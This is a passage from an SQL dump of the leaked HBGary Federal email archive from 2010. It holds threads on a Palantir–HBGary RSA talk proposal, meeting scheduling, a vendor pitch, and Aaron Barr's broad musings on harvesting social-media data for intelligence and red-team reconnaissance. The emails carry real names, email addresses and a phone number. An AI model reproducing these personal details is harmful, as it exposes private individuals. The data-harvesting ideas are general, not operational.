some cool results.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Thursday, June 24,\r\n2010 1:45 PM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject:&nbsp;RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n&#8220;Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem\r\nSet&#8221; (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We need to be careful to remove all\r\nmarketing language from the submission as they apparently don&#8217;t take kindly to\r\nthat\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy\r\n4 colleagues CCed and myself are basically all of Palantir&#8217;s &#8220;Cyber\r\nTeam&#8221;.&nbsp; I&#8217;ll now open this thread up for comments.&nbsp; If HBGary is in\r\nwe can set up a quick brainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3279,'aaron_hbgary_com/3279.html'),(8218,'2010-07-06','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297006413.M681036P14101Q3073.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Accepted: EXTERNAL:Invitation: Social Media Discussions @ Mon Jul 19 10am - 11am (rj.shows@ngc.com)','\r\n\r\n\r\n\r\n\r\nAccepted: EXTERNAL:Invitation: Social Media Discussions @ Mon Jul 19 10am - 11am (rj.shows@ngc.com)\r\n\r\n\r\n\r\n\r\nIf we slipped this meeting to Tues or Wed of that week, that would allow a face-to-face where we might accomplish this &amp; more.&nbsp; We could meet in Herndon—or someplace mutually convenient if Herndon is out of the way. \r\n\r\nBest always, \r\n\r\nBob\r\n\r\n\r\n',5700,'aaron_hbgary_com/5700.html'),(8219,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006414.M248018P14101Q3074.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>,,,','Re: RSA proposal','I am good today until about 1pm or tomorrow morning until 1030.  Those are my cutoff times to make other meetings.  I think it&#39;s only a fee paragraphs so we should be able to pull it together pretty quickly as soon as we have the story.\r\nI&#39;ll give u a call.AaronFrom my iPhoneOn Jul 6, 2010, at 8:35 AM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nCall for speakers is due this Friday: http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n\r\n \r\n\r\nWith the tight deadline might I suggest a VTC either today or\r\ntomorrow.  I’ll host you in Tyson’s, Palantir can join from Palo Alto, maybe\r\nyou could get a volunteer to drive to Palo Alto from Sacramento (or if they\r\nhave VTC we can dial them in)?\r\n\r\n \r\n\r\nLet me know what times might work.  We should get moving on this\r\nas the deadline is looming.\r\n\r\n \r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 05, 2010 11:09 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI think so.  Greg will be releasing at Blackhat this\r\nmonth a new fingerprinting tool where we can pull out common fingerprint\r\nvariables from binaries very quickly.  That along with the work we are\r\ndoing to develop more sophisticated fingerprints I think we could tell some\r\ngood stories.  Lets maybe get together and discuss our options here.\r\n We are in the process of revamping our interface for the threat\r\nmonitoring center (TMC) which is our volume malware processor which would allow\r\nus to go back and repull internals in large volume fairly quickly as we built\r\nout our visuals.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jul 2, 2010, at 6:35 PM, Geoff Stowe wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust wanted to revive this thread. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron – do you think there are topics we could collaborate\r\non?  When Aaron Zollman and I met with Greg in Sacramento a few months\r\nago, we talked about things like looking for common indicators in your massive\r\nmalware repository, and doing a deeper dive on some of the malware\r\nauthors.  Either of those topics would involve a fair amount of work, but\r\nwe’d be willing to do some of the heavy lifting on the backend if it would\r\nproduce some cool results.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Thursday, June 24,\r\n2010 1:45 PM\r\nTo: Aaron Barr\r\nCc: Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n·         Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n“Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem\r\nSet” (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n·         The goal here would be to take a technical\r\nproblem (maybe one of Greg’s or SecDev’s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n·         We need to be careful to remove all\r\nmarketing language from the submission as they apparently don’t take kindly to\r\nthat\r\n\r\n\r\n\r\n\r\n\r\n·         We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n·         We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMy\r\n4 colleagues CCed and myself are basically all of Palantir’s “Cyber\r\nTeam”.  I’ll now open this thread up for comments.  If HBGary is in\r\nwe can set up a quick brainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3152,'aaron_hbgary_com/3152.html'),(8220,'2010-07-06','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297006414.M487258P14101Q3075.eml','aaron@hbgary.com','Alarm - Bring in Car to Craftsman','July 6, 2010 8:00 AM : Bring in Car to Craftsman \r\n',738,'aaron_hbgary_com/738.html'),(8221,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006414.M731616P14101Q3076.eml','\"Greg Hoglund\" <greg@hbgary.com>','RSA','Are you planning on doing a talk at RSA next year?  Deadline for abstracts is this Friday and I would like to do a presentation on Threat Intelligence using some of what you have done looking at the internals of Malware and then extending it out using other data sets within Palantir.  But I would like to know what your plans are first.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11733,'aaron_hbgary_com/11733.html'),(8222,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006414.M950918P14101Q3077.eml','\"Ray Owen\" <ray.owen@comcast.net>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Irving Lachow\" <LachowI@ndu.edu>','Social Media','To further our conversation on social media.  The talk I gave at the NSA REBL conference on the vulnerabilities of social media went well and I have had a set of follow up meetings with different government organizations to discuss what could be done to help shore up their defenses to social media as well as how they might better use it.  Here is where some things all start to fit together.\r\n\r\nSocial Media as a competitive intelligence tool.  There is an immense amount of information that can be aggregated from social media services to develop competitive intelligence against any target.  Take any US defense contractor.  If I could harvest a significant amount of data from sites such as FBO, Monster, LinkedIn, Input, Facebook, Twitter.  What type of picture could I put together as far as company capabilities, future plans, contract wins, etc.  From a targeting perspective could I identify information exposure points that lead to a defensive weakness in an organization, I think yes.\r\n\r\nI spoke to INSCOM a few weeks ago about their desire to start to incorporate more social media reconnaissance and exploitation into their red team efforts.  Such a capability has a broad applicability that will be more significantly needed in the future.\r\n\r\nOne of the slides in my presentation talks about the breakdown of clandestine capabilities because of social media.  Backstopping and persona management becomes a huge problem.  More to talk about here.\r\n\r\nThere is a general social media capability that could be developed to satisfy both commercial and government requirements to manage social media information exposure, do human pentesting, and satisfy current and future intelligence requirements.\r\n\r\n(Nathan just remember I owe you a contact or two - I will get those to you today).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13565,'aaron_hbgary_com/13565.html'),(8223,'2010-07-06','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006415.M201009P14101Q3078.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RE: RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCan you swing by our office to VTC with Geoff and I at Noon\r\ntoday?&nbsp; Lunch on us of course J\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 06, 2010 9:38 AM\r\nTo: Matthew Steckman\r\nCc: Geoff Stowe; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am good today until about 1pm or tomorrow morning until\r\n1030. &nbsp;Those are my cutoff times to make other meetings. &nbsp;I think it\'s\r\nonly a fee paragraphs so we should be able to pull it together pretty quickly\r\nas soon as we have the story.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ll give u a call.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 8:35 AM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCall\r\nfor speakers is due this Friday: http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n&nbsp;\r\n\r\nWith\r\nthe tight deadline might I suggest a VTC either today or tomorrow.&nbsp; I&#8217;ll\r\nhost you in Tyson&#8217;s, Palantir can join from Palo Alto, maybe you could get a\r\nvolunteer to drive to Palo Alto from Sacramento (or if they have VTC we can\r\ndial them in)?\r\n\r\n&nbsp;\r\n\r\nLet\r\nme know what times might work.&nbsp; We should get moving on this as the\r\ndeadline is looming.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 05, 2010 11:09 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\nthink so. &nbsp;Greg will be releasing at Blackhat this month a new\r\nfingerprinting tool where we can pull out common fingerprint variables from binaries\r\nvery quickly. &nbsp;That along with the work we are doing to develop more\r\nsophisticated fingerprints I think we could tell some good stories. &nbsp;Lets\r\nmaybe get together and discuss our options here. &nbsp;We are in the process of\r\nrevamping our interface for the threat monitoring center (TMC) which is our\r\nvolume malware processor which would allow us to go back and repull internals\r\nin large volume fairly quickly as we built out our visuals.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nJul 2, 2010, at 6:35 PM, Geoff Stowe wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to revive this thread.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; do you think there are topics we could collaborate on?&nbsp; When Aaron\r\nZollman and I met with Greg in Sacramento a few months ago, we talked about\r\nthings like looking for common indicators in your massive malware repository,\r\nand doing a deeper dive on some of the malware authors.&nbsp; Either of those\r\ntopics would involve a fair amount of work, but we&#8217;d be willing to do some of\r\nthe heavy lifting on the backend if it would produce some cool results.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Thursday, June 24,\r\n2010 1:45 PM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject:&nbsp;RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n&#8220;Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem\r\nSet&#8221; (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We need to be careful to remove all\r\nmarketing language from the submission as they apparently don&#8217;t take kindly to\r\nthat\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy 4 colleagues\r\nCCed and myself are basically all of Palantir&#8217;s &#8220;Cyber Team&#8221;.&nbsp; I&#8217;ll now\r\nopen this thread up for comments.&nbsp; If HBGary is in we can set up a quick\r\nbrainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2022,'aaron_hbgary_com/2022.html'),(8224,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006415.M439764P14101Q3079.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: RSA proposal','Sure thing.From my iPhoneOn Jul 6, 2010, at 10:39 AM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nCan you swing by our office to VTC with Geoff and I at Noon\r\ntoday?  Lunch on us of course J\r\n\r\n \r\n\r\n-Matt\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 06, 2010 9:38 AM\r\nTo: Matthew Steckman\r\nCc: Geoff Stowe; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nI am good today until about 1pm or tomorrow morning until\r\n1030.  Those are my cutoff times to make other meetings.  I think it&#39;s\r\nonly a fee paragraphs so we should be able to pull it together pretty quickly\r\nas soon as we have the story.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ll give u a call.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 8:35 AM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nCall\r\nfor speakers is due this Friday: http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n\r\n \r\n\r\nWith\r\nthe tight deadline might I suggest a VTC either today or tomorrow.  I’ll\r\nhost you in Tyson’s, Palantir can join from Palo Alto, maybe you could get a\r\nvolunteer to drive to Palo Alto from Sacramento (or if they have VTC we can\r\ndial them in)?\r\n\r\n \r\n\r\nLet\r\nme know what times might work.  We should get moving on this as the\r\ndeadline is looming.\r\n\r\n \r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n \r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, July 05, 2010 11:09 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI\r\nthink so.  Greg will be releasing at Blackhat this month a new\r\nfingerprinting tool where we can pull out common fingerprint variables from binaries\r\nvery quickly.  That along with the work we are doing to develop more\r\nsophisticated fingerprints I think we could tell some good stories.  Lets\r\nmaybe get together and discuss our options here.  We are in the process of\r\nrevamping our interface for the threat monitoring center (TMC) which is our\r\nvolume malware processor which would allow us to go back and repull internals\r\nin large volume fairly quickly as we built out our visuals.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nJul 2, 2010, at 6:35 PM, Geoff Stowe wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to revive this thread. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n– do you think there are topics we could collaborate on?  When Aaron\r\nZollman and I met with Greg in Sacramento a few months ago, we talked about\r\nthings like looking for common indicators in your massive malware repository,\r\nand doing a deeper dive on some of the malware authors.  Either of those\r\ntopics would involve a fair amount of work, but we’d be willing to do some of\r\nthe heavy lifting on the backend if it would produce some cool results.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\n\r\nSent: Thursday, June 24,\r\n2010 1:45 PM\r\nTo: Aaron Barr\r\nCc: Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n·         Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n“Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem\r\nSet” (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n·         The goal here would be to take a technical\r\nproblem (maybe one of Greg’s or SecDev’s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n·         We need to be careful to remove all\r\nmarketing language from the submission as they apparently don’t take kindly to\r\nthat\r\n\r\n\r\n\r\n\r\n\r\n·         We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n·         We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMy 4 colleagues\r\nCCed and myself are basically all of Palantir’s “Cyber Team”.  I’ll now\r\nopen this thread up for comments.  If HBGary is in we can set up a quick\r\nbrainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2456,'aaron_hbgary_com/2456.html'),(8225,'2010-07-06','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006415.M673779P14101Q3080.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Zollman\" <azollman@palantir.com>,\"Eli Bingham\" <ebingham@palantir.com>,\"Shreyas Vijaykumar\" <svijaykumar@palantir.com>,\"Geoff Stowe\" <gstowe@palantir.com>','RSA brainstorm','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, July 06, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Room-DC-1660I-Floor8-Flanker-12_P_PC_VTC_WB; Room-PA-100H-Floor4-Boardroom-13_P_PC_VTC_TV_Ph_WB\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',15097,'aaron_hbgary_com/15097.html'),(8226,'2010-07-06','\"Josh Brewster\" <jbrewster@soleranetworks.com>','/aaron@hbgary.com/new/1297006415.M907497P14101Q3081.eml','aaron@hbgary.com','Aaron, Thanks for attending FIRST','Aaron,\r\n\r\n\r\nThank you for attending FIRST in Miami. A common theme we heard from many at the event was that today\'s advanced threats are subverting traditional security measures and information assurance practices. That\'s why I would like to help you make the case for network forensics within your organization. I\'ll show you how we can put your organization on more secure ground, help you prepare for the next generation of threats, and give you peace of mind that nothing has left your network undetected. May I set up an online meeting and demo?\r\n\r\nAnd why network forensics?\r\n\r\nOur network forensics appliances help you swiftly respond to incidents on your network by identifying the full source and scope of any security event or breach, provide real-time situational awareness to detect advanced persistent threats, and perform historical threat detection that delivers evidence of what actually crossed your network. This is what we do at Solera Networks.\r\n\r\nSolera Networks is like a surveillance camera for your network and provides a vital solution for guarding against today\'s evolving threat environment. We deliver complete network visibility by capturing, indexing, replaying and reconstructing 100% of all network traffic for in-depth analysis&ndash;even on the largest 10Gb enterprise networks. Don\'t just add another layer of security to your network, add complete situational awareness to eliminate the unknowns. If you are interested in seeing Solera Networks technology in action, 